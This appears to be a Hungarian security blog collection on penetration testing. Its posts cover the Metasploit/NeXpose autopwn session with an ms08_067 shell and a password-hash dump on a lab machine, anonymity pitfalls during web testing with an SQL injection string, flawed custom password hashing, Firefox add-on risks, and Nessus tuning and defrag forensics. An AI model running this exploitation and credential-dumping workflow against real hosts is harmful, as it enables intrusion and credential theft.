A "Big Red Hacking Button" bölcsessége és butasága

Pusztán termelékenységi-hatékonysági oldalról nézve, pentest során a legjobb az lenne, ha kapnánk egy hatalmas piros "HACK" feliratú gombot, amire ráütünk, elmegyünk kávézni és mire visszajövünk, ott vár három-négy shell és a report vezetői összefoglalóval. Nos, úgy tűnik, hogy a 3.3.2-es Metasploit Framework megadja mindezt - annyi különbséggel, hogy itt a piros gomb helyett be kell írni, hogy "db_autopwn -e -x".

Valahogy így:

root@jester:/usr/share/metasploit/trunk# ./msfconsole

____________
<>
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *


=[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 469 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7849 updated 3 days ago (2009.12.14)

msf > db_
db_connect db_create db_destroy db_disconnect db_driver
msf > db_connect
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose

▄▄▄ ▄▄ ▄▄▄ ▄▄▄
███ ██ ██ ▄██
██▀█ ██ ▄████▄ ████ ██▄███▄ ▄████▄ ▄▄█████▄ ▄████▄
██ ██ ██ ██▄▄▄▄██ ██ ██▀ ▀██ ██▀ ▀██ ██▄▄▄▄ ▀ ██▄▄▄▄██
██ █▄██ ██▀▀▀▀▀▀ ████ ██ ██ ██ ██ ▀▀▀▀██▄ ██▀▀▀▀▀▀
██ ███ ▀██▄▄▄▄█ ██ ██ ███▄▄██▀ ▀██▄▄██▀ █▄▄▄▄▄██ ▀██▄▄▄▄█
▀▀ ▀▀▀ ▀▀▀▀▀ ▀▀▀ ▀▀▀ ██ ▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀ ▀▀▀▀▀
██

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect nxadmin:CsodalatosJ3lsz0@localhost
[*] Connecting to NeXpose instance at localhost:3780 with username nxadmin...
msf > nexpose_connnexpose_scan -x 172.16.75.130
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 4 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 172.16.75.130:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] 172.16.75.130:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] Meterpreter session 1 opened (172.16.75.1:38587 -> 172.16.75.130:1031)
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution...
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

Id Description Tunnel Via
-- ----------- ------ ---
1 Meterpreter 172.16.75.1:38587 -> 172.16.75.130:1031 windows/smb/ms08_067_netapi

[*] ================================================================================

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
bela:1003:c8fbb48411c924a1aad3b435b51404ee:12890636511bacb8784772c8cdd155f7:::
Rendszergazda:500:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
Seg�ts�gny�jt�:1000:36d13542982fd52354b1aeeda39288ad:226a4f6f37969ab489c58939f9bc5f0e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9dbd606208432919c6c49111732cabe3:::
Vend�g:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

(Szemfüles olvasóinkat megerősítjük abban, hogy a tesztelt gép adminjelszava valóban rövidebb hét karakternél, és a gépidő töréssel való fogyasztásának megelőzésére azt is hozzátesszük, hogy a "bela" felhasználó jelszava "bela".)

Nos, igen. Mindehhez kellemes négy-öt kattintással összeállítható a report is, és elvileg készen vagyunk - vagy mégsem?

Az autopwn és a metasploit csodálatosan hatékony eszközök, és biztosan számtalan helyen fogjuk viszontlátni a fenti kombinációt komplett penetration test megoldásként eladva. A helyzet azonban az, hogy ez így nagyon látványos, de ha valaki kizárólag ezzel a módszerrel végez pentestet, akkor úgy viselkedik, mint az az asztalos, akinek egy darab kalapácsa van és meglepve tapasztalja, hogy csupa szög jön szembe, tehát kalapáccsal mindent meg lehet oldani.

A fenti példafuttatása a vmnet8 nevű hálózati interfészen történt - valós környezetben, ügyfélnél inkább nem használjuk. Miért?

• Csak a jéghegy csúcsát mutatja meg. Valóban, lehet frissíteni a metasploitot is, a nexpose-t is, a Nessust is, azonban önmagukban ezek az eszközök a sebezhetőségek (tesztelői szempontból lehetőségek) egy részét képesek csak megmutatni. A tapasztalat az, hogy a közvetlenül kihasználható, CVE-számmal címkézett, frissítések elmulasztásából fakadó sebezhetőségek mellett - ezek felderítésében jeleskednek automatizált eszközeink - számtalan egyéb vektor is támadható, amelyek legalább olyan veszélyesek. Például megpróbálhatunk on-line módon jelszavakat próbálgatni, esetleg ha már webszerveren futó alkalmazást is találtunk, akkor abban vizsgálni, hogy mindenre gondoltak-e a fejlesztők. A munkát nem lehet sajnos megúszni így sem.
  
• Iszonyatosan (NAGYON) zajos. A fenti, nagyon egyszerű teszt során sikerült nagyságrendileg 10 MB-ot forgalmazni a hálózaton, és ezt a pcap mentés alapján nem igazán udvariasan tette teszteszközünk. Sokkal hatékonyabb és jobb megoldás, ha a lépésről lépésre építjük fel a támadást - először kiderítjük, kik vannak a hálózatunkon, majd megállapítjuk a nyitott portjaikat és a rajtuk futó szolgáltatásokat, majd ezen információk birtokában hálózatra szabjuk az automatizált eszközünket (!), és úgy végezzük el a scant.
  
• Nem igazán jók a portscannelési funkciók. A portscannelést csomagdump alapján SYN-stealth módszerrel tette meg a nexpose, és sajnos a tapasztalatok szerint nem igazán működik jól, ha tarpitting vagy egyéb portscanning elleni védelem van érvényben. Másrészt az nmap jóval hatékonyabb tud lenni, ha futtatás előtt kimérjük az időzítéseket, a csomagvesztéseket és egyéb statisztikai információkat a hálózattal kapcsolatosan.
  

A nexpose+metasploit páros nagyon hatékony- demózási célokra, éles tesztek során inkább maradunk a két lépcsővel kézibb tesztelésnél.

Cookie-k vs. anonimitás

Egy tesztelős munka kapcsán felmerült igényként, hogy amit csinálunk, azt csináljuk nagyon szépen: lehetőleg semmilyen módon ne lehessen tudni, hogy amit tesztelünk (konkrétan egy webapp), azt honnét teszteljük. Nyilvánvalóan nem lehet bizonyos információkat kiküszöbölni az egyenletből, például az ügyfél webszerverén a beérkező HTTP-kéréseket mindenképpen naplózni fogják - egy gömbölyű világban, persze.

A munka meglehetősen kézenfekvő módon indult: ToR-on keresztül ingyenes e-mail fiók regisztrálása a freemail-en, majd elkezdtük nézegetni a célpontot. Nézelődés közben a webscarab minden HTTP-kérést naplózott a tesztelő gépen, és némileg meglepő felfedezésre jutottunk (nyilván nem meglepő a szó hagyományos értelmében, ugyanis tulajdonképpen teljesen logikus): a cookie-k és a proxyeszközök nem kellőképp elővigyázatos alkalmazása megöli az anonimitást. Miért?

Tegyük fel, hogy néha csalunk tesztelés közben, rá-ránézünk az indexre és a secfocusra, ilyenkor pedig nincs kedvünk kivárni, hogy a ToR-on keresztül töltődjön minden. Ilyenkor átkapcsoljuk foxyproxyval a firefoxot az alap kapcsolat használatára - és itt romlik el minden. Ugyanis az, hogy böngészőnk ablakában ott nyugszik a vizsgált alkalmazás, nem jelenti azt, hogy nem is fog forgalmazni feléje: sok modern webapp esetén automatizáltan lekérdez ezt-azt a böngészőnk, míg a mappelőszkript fut egy másik terminálon. A "mellékes" forgalmazás közben pedig az addigi sessionben fogunk forgalmazni, azaz megsüthetjük az anonimitásunkat. Nyilván triviális a megoldás - tessék másik böngészőt használni. Nem másik böngészőablakot nyitni, hanem totálisan másik böngészőt, pl. Firefox helyettt Operát linuxon. Vagy linkset.

A cookie-k ott jönnek igazán képbe, amikor csak a tesztelés szaftosabb részeiben használunk ToR-t: lassú a dolog, emiatt a mappelést és az inputok azonosítását a normál kapcsolaton keresztül végezzük, csak a ' or 1=1 or '-jellegű szúrkálás során alkalmazunk ToR-t. Ez akkor veszélyes, ha a cookie-kat nem töröljük váltáskor, ugyanis a böngészőnk ugyanúgy el fogja küldeni a cookie-t, hiszen ugyanabban a domainbe küld HTTP-kérést, akár ToR-on keresztül teszi ezt, akár nem. Ezzel viszont kapcsolat teremthető ToR és a "mezei" kapcsolat között - azaz bukik az anonimitás.

Harmadrészt ki az, aki mindent tud rólunk? Igen, a Google. A safebrowsing (most már phishing filternek hívják) funkció használata során az új domainekbe irányuló kérések kiadása előtt a böngészőnk ellenőrzi, hogy az adott domainen orosz üzletemberek üzemeltetnek-e adathalász oldalt, és ha igen, nagyon nehezen engedi oda a felhasználót. A safebrowsing funkció tehát tájékoztatja a google-t arról, hogy milyen URL-eket nézegetünk meg - persze csak akkor köthető konkrét személyhez, ha a standard google tracking cookie-k engedélyezve vannak (azaz pl. be vagyunk lépve a google-birodalomba, vagy egyszerűen csak nincsenek letiltva a cookie-k en bloc). A kép akkor lesz teljes, ha végiggondoljuk, hogy a cookie információk (és a safebrowsing) ugyanazon a csatornán megy keresztül, mint a "normál" adatforgalom - emiatt a google-nél pontos nyilvántartást lehet vezetni arról, hogy milyen domaineket látogatunk meg és az is, hogy milyen IP-ről. Sőt: a google analytics-es tracking javascript, amit számtalan oldal kódjába előzékenyen beszúrnak az oldalak üzemeltetői, pontosan ugyanezt tudja megtenni.

"Saját fejlesztésű, md5-szintű kriptofüggvény"

Nemrég került a kezem ügyébe véleményezendő anyagként egy webes rendszer architekturális terve. Egészen meglepő volt, hogy a rendszer biztonsági funkcióinak felsorolásakor egyetlen érdemi, ám annál érdekesebb elem szerepelt a listában, ez pedig a "feltörhetetlen, titkosított formában történő jelszótárolás saját fejlesztésű, md5-tel egyenértékű kriptoeszközzel".

Némi utánakérdezés után kiderült, hogy ez gyakorlatilag annyit jelent, hogy a jelszavakat nem plain-textben tárolja a rendszer, hanem tárolás előtt hasheli egy "saját, md5-tel megegyező kriptográfiai erősségű algoritmus" használatával. Komoly diskurzus következett a fejlesztőkkel, ugyanis kimondottan nehezen fogadták el, hogy ebben a formában ezen biztonsági funkciók kétszer aláhúzott nullát érnek. Miért?

• A rendszer mögött dolgozó adatbázisban valamilyen módon ledarált formában ülnek a jelszavak - ez elvileg az utolsó védelmi vonal kellene, hogy legyen a biztonsági funkciók sorában. Ha a támadó hozzáfér az adatbázishoz, akkor már úgyis mindegy minden (vagy ha még nem az, pár SQL query után már az lesz), maximum a "damage control" valósítható meg a hashelt jelszavakkal.
• "A támadó úgyse tudja, hogy milyen saját algoritmussal hasheltük a jelszavakat, tehát ha a hashekhez hozzáfér, akkor sem tud mihez kezdeni velük". Népszerű tévhit, hogy a security through obscurity működő modell lehet elszánt támadó ellen is: tesztelő kollégáink sok-sok rémtörténetet tudnának mesélni arról a döbbenetes adag naivitásról, amivel felvértezve írják meg a fejlesztők saját kriptokönyvtáraikat. Alapvetően ott hibás az elképzelés, hogy a fejlesztők abból indulnak ki, hogy a támadónak kizárólag a hashek állnak rendelkezésére, nulla információja van a rendszerről, ahonnét jöttek - ebben az esetben még akár igaz is lehet a "security through obscurity", viszont valódi támadó esetén mire a hashek megvannak, a támadó mindent tud a rendszerről, beleértve a hash algoritmust is. Ha nem tudja, akkor pedig addig keres, amíg meg nem találja egy másik sebezhetőségen keresztül. Ha pedig a támadó már hozzáfér az adatbázishoz és a hashekhez, és mondjuk a kódot is kedvére böngészheti, amit lefuttat a bejelentkezőszkript az ellenőrzés során, nagyrészt gyerekjáték a "hash" feltörése. (Én például már láttam működő rendszeren olyan kétirányú "hashfüggvényt", aminek alapját egy bizonyos Julius nevű alak dolgozta ki még az ókorban). Elvileg kriptoanalízis is végrehajtható a naivan implementált kriptoeszközök kimenetein, azonban a tapasztalatok szerint mindig van egyéb mód is (például emlékezzünk a Hacktivity drupáltörős bónuszjátékának célpontjára, amelyben az adminjelszó md5-hashelve nem törődött meg, viszont a jelszóemlékeztető kihasználásával megkerülhető volt a törés a GIJohnnal. )
  
• Ha a bejelentkezés során kliensoldalon történik a hashelés, gyakorlatilag olyan, mintha ott se lenne a hash: a támadó lefigyeli az adatfolyamot, és a hash-t hamisítja be saját kérései kiadásakor, mindehhez még "jelszótörni" sem kell.
• A HTTP plaintext. Ha nincs hálózati szintet titkosítva az adatforgalom, akkor megint csak lehet temetni a hash-elt jelszavakat az adatbázisban.
  

A firefox jó és biztonságos... vagy mégsem?

A 17. DefCon kimondottan gyümölcsöző olyan tekintetben, hogy számos létező és bevált technológia hátulütőire hívják fel a figyelmet az előadók, néha határozottan meglepő demókkal. A sorból a Firefox add-onokkal kapcsolatos előadásra hívnánk fel a figyelmet.

A Firefox zseniális kezdeményezés, és sok esetben kimondottan üdítő a használata a felhasználói élményt tekintve, azonban az add-onok rendszere biztonságilag meglehetősen gyenge lábakon áll. Miért?

• Az add-onok gyakorlatilag mindenféle biztonsági kontroll nélkül futnak a böngészőnkben, emiatt ártó szándékú add-onok telepítésével gyakorlatilag ugyanoda jutottunk, mint amikor az Explorert annak idején hanyagoltuk a Firefox javára a szita biztonságú ActiveX technológia miatt.
  
• Maguk az add-onok többféle technológiát is használhatnak: a legegyszerűbb a szkriptelős fejlesztés, azonban lehetőség van bináris add-onok elkészítésére is. Gyakorlatilag nincs visszajelzés a felhasználónak arról, hogy a böngészőjében futó add-on mit is csinál, milyen http-kéréseket ad ki - írható olyan add-on, ami pl. elszkripteli a /etc/passwd tartalmát valami gyanús weboldalra. (Megjegyezzük, hogy a kioszkmatatós céleszköz iKat szintén ad egy firefox add-ont, amellyel a linuxos kioszkokon parancssort kaphatunk.)
  
• Az add-onok meglehetősen egyszerűen tudják módosítani egymás kódjait, beállításait javascriptből. Az előadáson mutatnak egy példát arra, hogy a NoScript whitelistjéhez egy rosszindulatú add-on könnyen hozzá tud adni tetszőleges domaint, vagy akár az elmentett jelszavak is könnyen ellophatók (ugye senki sem menti el a Firefoxba a jelszavait?!)
  
• Az add-onok kódok, amik futnak valahol, emiatt a bennük rejtőző programozási hibák adott esetben kihasználhatóak. Példaként hozható itt pl. a NoScript plugin, amellyel ha a chrome:// domainbe tartozó szkriptet hívunk meg, a domain whitelistelése miatt akadálytalanul lefut. Az előadáson a skype telepítésekor automatikusan érkező add-ont is kiemelték, amellyel némi trükközéssel a felhasználót tetszőleges telefonszám skype-on keresztüli felhívására is rá lehet venni. Másrészt ha arra gondolunk, hogy a Javascriptből lehet binárisokat letölteni, és akár el is indítani őket, néhány lépésből VNC shellre váltható egy egyszerű, almighty chrome-domainbe szkriptelő XSS is - nos, nem szükséges ecsetelni a problémát (az előadáson a LightScribe-on keresztül támadott XSS-sel pontosan ezt a nagyon látványos demót mutatták meg).
  
• Az add-onok engedélyezési procedúrája során nincs kódminőségi ellenőrzés. Igaz, mielőtt bekerülne a fejlesztésünk az add-onok közé a mozilla honlapján, történik validálás, azonban ez csak akkor történik meg, amikor bekerül a kódunk az adatbázisba - ha frissítünk rajta, akkor már nem. Emiatt akár az egész kódot is újra lehet írni, illetve ki lehet egészíteni mindenféle ártó részekkel - legfeljebb a szemfüles közösség visszajelzései alapján lehet gyanítani, hogy valami történt, aminek nem kellett volna.

A Firefox jó és biztonságos... vagy mégsem?

Metaadatok

Metaadatokról már sok alkalommal esett szó a secblogban. Az idei 17. DefConon két spanyol kolléga tartott előadást a már-már lerágott csontnak hitt témáról, és készítettek egy FOCA nevű metaadat-kigereblyéző eszközt is, amivel nagyon látványos demókat lehet tartani az adatszivárgásról - akár biztonságtudatossági képzésben is haszonnal használható.

Az eszköz a google (bing) kereséseit használva összeállít egy listát az adott domainen belül található pdf, doc, xls stb. dokumentumokról, amelyeket letöltés után átnéz és a bennük található metainformációk alapján összeállítja a vizsgált célpont informatikai infrastruktúrájának sematikus rajzát. Nyolc kattintásból.

Az egyik legkomolyabb előnye a módszernek az, hogy nagyrészt nem invazív, tehát az amúgy is publikussá tett dokumentumokat töltjük le és elemezzük kicsit másként és ezáltal nem bonyolítunk "rossz szándékú" forgalmat a célpont hálózata felé.

Érdemes kipróbálni az eszközt.

Az előadás
Letöltés

A Nessusról, középhaladóknak

A Nessus csodálatos eszköz. Az automatizált sebezhetőségi ellenőrző eszközök arzenáljában de facto szabvánnyá vált az egykori teljesen ingyenes szoftver: a 3-as Nessus már nem nyílt forráskódú, viszont az eszköz sava-borsát jelentő pluginek otthoni használatra ingyenesen frissíthetőek, licencdíj csak az üzleti felhasználókra van - azaz ránk.

A Nessus alapfunkcionalitásában nagyon hasonlít az nmap-ra olyan szempontból, hogy ugyanúgy nyitott portokat képes azonosítani, azonban a tudásbázisban található pluginek segítségével a szolgáltatások fingerprintjén túl képes arra, hogy ismert sebezhetőségekre utaló szignatúrákra vadásszon a szolgáltatásokban - és még egyéb varázslatokra is képes.

Mielőtt kicsit bővebben beszélnénk a Nessus képességeiről, tisztázzunk elöljáróban egy nagyon fontos alapvetést: a Nessusszal való automatizált point-and-click tesztelés önmagában nem tekinhtető betörési tesztnek. Sok esetben találkoztunk már azzal, hogy az ügyfélnek sok pénzért eladott "betörési teszt" átadott jegyzőkönyve gyakorlatilag szó szerinti fordítása volt a Nessus által generált sebezhetőségi jelentésnek - a sebezhetőségek igazolása, vagy kézi vizsgálatok nélkül. A Nessus (nem csak a Nessusra, hanem a Core Impactre, a Retinára, a Satanra, az összes ingyenes vagy fizetős automatizált szkennelőeszközre is igaz ez) nélkülözhetetlen a tesztelő számára, viszont önmagában értéktelen a használatuk: a kívánt eredményt csak úgy érheti el a teszt, ha a tesztelők igenis nekiülnek, és manuális módszerekkel is vizsgálják a célpontot.

Mire figyeljünk a Nessus használata során?

1. Papírmunka. Lehetőleg legyen írásos hozzájárulásunk a megbízótól, amely hozzájárulásban a megbízó elismeri, hogy a tesztelés során a leggondosabb tervezés és legóvatosabb végrehajtás mellett is felléphetnek váratlan mellékhatásként nem kívánt események (a "nem kívánt események" mértékegysége egyrészt az idő, amíg az üzemeltetők talpra állíták a meghasalt infrastruktúrát, illetve byte, ami az elveszett adatokat méri). Jelen írásnak nem célja, hogy végigmenjünk az összes pluginen, az összes lehetőségen: kiemelünk néhány gyakori időzített bombát, amely beállítások helyes használatával jelentősen csökkenthető a "nem kívánt események" valószínűsége.
2. Észre nem vett sebezhetőség vs. DoS. Valahányszor Nessusszal szkennelünk, döntést kell hoznunk: minél alaposabb a vizsgálat, annál pontosabb képet kapunk, viszont annál tovább tart, annál nagyobb hálózati forgalmat generál és annál nagyobb valószínűséggel okozunk kárt. A valószínűség nyilvánvalóan minimalizálható megfelelő vizsgálati beállításokkal, azonban soha nem nulla a károkozás valószínűsége.
3. Egy scan nem scan. Valahányszor mérünk, egy mérés nem mérés- ugyanez igaz az automatizált sebezhetőségi vizsgálatokra is. A Nessusszal végzett vizsgálatokat minden esetben meg kell ismételni, valamilyen más hasonló eszközzel (az OpenVAS jó választás lehet, ha a költségkeret szűkös).
   
4. A Nessus nem csodafegyver. Népszerű tévhit, hogy a Nessus mindent tud, azonban ez korántsincs így. Számos olyan részfeladat van, amelyre bár van plugin a Nessusban, sokkal inkább kifizetődő egy kimondottan az adott részfeladatot megvalósító céleszköz használata. Ilyen például a directory enumeration - a Nessusban van egy minimális szólista, amelyet végignéz, azonban sokkal inkább megfelel a célnak pl. a Wikto, vagy az OWASP DirBustere. Ugyanígy, ha kizárólag annyi a scan célja, hogy SNMP-t támogató eszközökről készítsünk listát, fölösleges beüzemelni a Nessust: jelen sorok írója egy 8 soros bash szkripttel és az snmpcheck-1.6.pl névre hallgató (BackTrack3-ban megtalálható) eszközzel oldotta meg a problémát.
   
5. Célra tartás. Amikor megtervezzük a scant, tudatosan kell végiggondolni a vizsgálandó infrastruktúra sajátosságait. A Nessus portscannere például nem rossz, de a mezei nmap jobban testre szabható és egyszerűbben indítható - e sorok írója például a Nessus indítása előtt nmap-ot használ a célpont felderítésére.
   Az nmap nagyon szószátyár módjában számtalan információt kapunk, amely segít a Nessus megfelelő beállításainak eltalálásában. Például nagy hálózat vizsgálatakor nagyon hasznos az, ha pl. hping3-mal megmérjük, hogy átlagosan mekkora a csomagvesztés a célpont felé a hálózaton és mekkora az rtt. Ennek ismeretében az nmap-ban megszabjuk, hogy hányszor küldje újra a csomagokat, illetve mekkora legyen a timeout - ezzel nagyon (NAGYON) sokat javíthatunk a sebességen.
   Az nmap megmondja, hogy mely portok vannak nyitva - a Nessusos port scant ezekre a portokra korlátozva, a hoszt (nem) működésének megállapítását kikapcsolva nagyon sokat javíthatunk a vizsgálatok teljesítményén.
6. "Veszélyes" beállítások. A megfelelő beállítások a Nessus Policy menüjének testreszabását jelentik - a Nessus készítői jelentős egyszerűsítést csempésztek bele az eszközbe a "Safe Checks" pipa használatával: ha ezt bekattintjuk, jelentősen megnöveljük saját esélyeinket a zökkenőmentes vizsgálatok szempontjából.
   Ez sem igaz teljesen: a Tenable összeállított a tapasztalatok alapján egy listát azokról az eszközökről, amelyek rosszul viselik a Nessus vizsgálódásait. Valahányszor a fingerprinting fázis során ilyen szolgáltatás, eszköz kerül horogra, a Nessus abbahagyja az irányában történő vizsgálódást a veszélyesnek ítélt pluginekkel. Másrészről, ez elég sok fals pozitív eredményt hozhat, ugyanis sok gyártó nem frissíti konzekvensen a szoftvereinek verziószámát a javítások ellenére sem, emiatt kizárólag a verziószámok alapján sokszor nem lehet egyértelműen megmondani a vizsgált szolgáltatás valódi verzióját.
7. "Consider Unscanned Ports as Closed": a Nessus, ha ez nincs beklattyintva, először megcsinálja a port scant, majd a kiválasztott plugineket szépen sorjában nekiküldi a célpontnak - akár vizsgálva volt az adott plugin által vizsgált port a szkópban és nyitott állapotúnak találtatott, akár nem is volt scannelve. Szükségtelen mondanunk, hogy ez mennyire zajos, és mennyire váratlan eseményekhez vezethet: a legtöbb esetben érdemes bekattintani - kivéve, ha pontosan a fenti viselkedés a célunk.
8. LaBrea-hosztok. Sok IPS/tűzfal azzal nehezíti meg a tesztelő dolgát, hogy fokozatosan lassítva válaszol a kérésekre, ezáltal egy idő után eléri a TCP-s timeoutot (megjegyezzük, hogy spamszűrésként is ismert "tarpitting" néven a technika SMTP-szervereken) . Érdemes kikapcsolva tartani első közelítésben - ha érzékeli a Nessus, hogy egyre növekvő válaszidővel érkeznek csomagok a célponttól, honeypotként címkézi a végpontot és felhagy a tesztelésével. Ha pontos képünk van a célpontról, nem lehet szükség a használatára.
   
9. Párhuzamosság. A Nessus policyjában van három érték, amellyel nagyon óvatosan kell bánni: ezek a "Number of hosts in parallel", a "Number of checks in parallel", illetve a "Port Scanner Range" névre hallgató mezők. A scan indítása előtt fontos tisztázni, hogy milyen kapacitású eszközök működnek a célponton - előfordulhat, hogy a sok egyidejű kérést rosszul viselő eszközök vizsgálatakor inkább 40 párhuzamos hosztot vizsgálunk hosztonként 5 párhuzamos kéréssel, mint 10 hosztot 20 párhuzamos kéréssel.
   Ide tartozik még a Network taben található néhány beállítás. A "Reduce number of connections in parallel on congestion" pipa bekattintása után a Nessus, ha érzékeli, hogy a hálózati közeg kapacitásának közelében jár a forgalmazott adatmennyiség, akkor automatikusan visszavesz a tempóból. A TCP-s kapcsolatok párhuzamos számát egy hoszton akkor érdemes visszavenni, ha hálózati eszközt scannelünk (mondjuk switchet), ugyanis a menedzsment IP-címen többnyire telnet/SSH/SNMP/HTTP/HTTPS szolgáltatások futnak, amiket a switch CPU-ból szolgál ki, emiatt nem igazán viseli jól a sok párhuzamos TCP-kapcsolatot.
   
10. "Legjobbjaink elhulltanak a hosszú harc alatt". A "Stop scanning hosts turned off during the audit" pipa bekattintása akkor hasznos, ha a vizsgálatok alatt egy-egy hosztot kikapcsoltak, illetve esetleg DoS miatt üzemképtelenné vált. Az ilyen végpontok nyilván nem fognak válaszolni, egy-két ilyen NAGYON lelassítja a scant és szükségtelen hálózati forgalomhoz vezet az újraküldések miatt.
    Novell NetWare szerverek régi verziói hajlamosak elsegfaultolni a fingerprinting fázis során, emiatt a Nessus alapból nem vizsgálja ezeket a hosztokat, illetve a hálózati nyomtatók régi típusai a 9100/TCP-re küldött bármilyen adatot kérdés nélkül kinyomtatják, emiatt az nmap is és a nessus is elkerüli ezeket - az Advanced fülön lehet engedélyezni őket mégis.
    
11. Időrabló vizsgálatok. Akárcsak az nmap használata során, itt is érdemes kikapcsolni a reverse DNS feloldást, ugyanis ez hosztonként 12 másodperces timeouttal dolgozik. A reverse DNS bejegyzések vizsgálatát amúgy is mindenképp meg kell tenni, de ehhez inkább használjuk az nmapot és némi linuxos varázslást (nmap -sL -PN 1.2.3.* | awk '/\(/{print $2,$3}'>reverse_dns.txt)
    
12. Authentikációs beállítások. Ezek olyasmik, amiket egy black hat nem nagyon használ - ha ismerünk adminisztrációs felhasználóneveket és jelszavakat, a Nessus be tud jelentkezni a távoli hosztra, és pl. a registryben tud keresgélni sebezhetőségek után. Hálózati eszközök esetében az SNMP stringek ismerete szükséges.
    Windowsos hosztok/hálózatok vizsgálatakor a távoli registry elérés csak nagyon advanced felhasználók számára elérhető (tipikusan Domain Adminok), emiatt célszerű létrehozni a teszt idejére egy ideiglenes accountot, amelynek joga van elérni a registryt távolról is. Kiváló whitepaper a kérdésről itt.
13. Pluginek kiválasztása. A plugineket egyesével lehet engedélyezni/tiltani, viszont fontos észben tartani, hogy a "consider unscanned ports as closed" pipa állapota alapvető jelentőséggel bír arra, hogy ténylegesen melyek futnak le. A DoS kategóriába tartozó pluginek használata során komoly kockázata van annak, hogy ténylegesen megakad valami - hiszen az ide tartozó pluginek ténylegesen triggerelik az adott DoS feltételt a szolgáltatásban, majd igazolják, hogy hanyattdőlt.

A fenti 13 pont nyilvánvalóan nem fedheti le a Nessus teljes képességtárát, az érdeklődők ebből a könyvből teljes, kimerítő leírást kaphatnak.

Előadás a BME-n ethical hacking témakörben

Programajánló:

2009. november 20-án 12:15-13:45 között a Budapesti Műszaki és Gazdaságtudományi Egyetemen Unix/Linux rendszerek üzemeltetése című tárgyban Kovács Zsombor Felderítési és service fingerprint technikák témakörben tart előadást. Az előadás az I épületben, az IE215-ös teremben lesz.


Belépő nincs, sok szeretettel várunk minden érdeklődőt.


View Larger Map

Nyomozás a disk defrag után

Olvasható a SANS forensics blogon két kiváló bejegyzés arról, hogy milyen módon lehet kideríteni egy munkaállomásról, hogy futtatták-e rajta a töredezettségmentesítőt. Mielőtt rátérnénk a konkrét módszerekre, kicsit járjuk körül a probémát.

Defrag 1x1
Induljunk messziről. Amikor az operációs rendszerünk letöröl egy fájlt az eleinte (jó közelítéssel) szépen, sorfolytonosan elhelyezkedő fájlok közül, akkor keletkezik egy valamekkora méretű "lyuk", azaz szabadon felhasználható terület a lemezen. Amikor úgy dönt az oprendszer, hogy ebbe a területbe fog adatot írni legközelebb, akkor ha az éppen írni akart fájl nagyobb, mint a "lyuk", akkor csak egy része fér ide bele, a maradékot máshová kell tennie, tehát fragmentálódás következik be.

A fájlrendszer feljegyzi az egyes fájlokhoz tartozó fragmentek helyét, tehát a felhasználó számára gyakorlatilag transzparens a folyamat - egészen addig, amíg az összevissza található apró fragmentek okozta lemezműveleti overhead el nem éri a türelemküszöbét. A tünet meglehetően sztereotip: bármit kezdeményez a felhasználó, bárhová kattint, a lemez elkezd kerepelni, azonban elképesztően lassan történik bármi is. A defrag pontosan ezt a problémát orvosolja: megkeresi, hogy hol vannak a fájlok fragmentjei, és egymás mögé rendezi őket.

Forensic szempontból nézve a dolgot az egyik szemünk sír, a másik viszont nem feltétlenül. Egyrészt a defrag nagyon intenzív írással járó lemezművelet, emiatt a törölhető, ám visszanyerhető adatokban gazdag részekben sokszor egyszerű eszközökkel jóvátehetetlen roncsolást okoz (még egyszer: forensic szempontból, tehát most az a célunk, hogy minél több törölt fájlt hozzunk vissza, legitim működés szempontjából ez nem számít). A másik oldalon viszont a slackekben található adatokat nem semmisíti meg a defrag, tehát teljes védelmet semmiképp sem jelent az adatvisszahozás ellen. Slacknek nevezzük azt a területet, ami az operációs által kisméretű fájok (fragmentek) esetében a lefoglalt allokációs egységben a fizikailag felülírt területen kívül helyezkedik el. Xp esetében 4096byte az allokációs egység, az NTFS-sel viszont 512byte-os szeletekben írjuk felül a lemez tartalmát - emiatt, ha egy 1byte-os fájlt írunk, akkor annak 4096byte helyet foglal le az oprendszer, aminek az első 511byte-ját nullázza ki, tehát a maradékban érintetlen marad a lemezfelület.

Vadászat a defrag.exe artifactjai után
Az újabb Windows verziókban (Xp és frissebb) a defragmentálás korlátozott mértékben bár, de automatikusan lefutó taszkként lett definiálva. Emiatt egy-egy munkaállomás vizsgálatakor el kell tudnunk különíteni, hogy mely futtatások történtek a felhasználó kezdeményezésére, és melyek az operációs rendszer automatikus karbantartási folyamatainak keretében.

Sajnos nincs egyszerű mód a defrag indításának utólagos rekonstrukciójára, ugyanis az Event logokban egészen egyszerűen nem keletkeznek bejegyzések a töredezettségmentesítéshez Xp-n. Vistán és 7-ben már igen.

A töredezettségmentesítőt alapvetően kétféleképp lehet elindítani:

• GUI-val (Start->Programs->Accessories->System Tools)
• parancssorból a defrag parancs kiadásával (ezt használja a rendszerfolyamat)
  

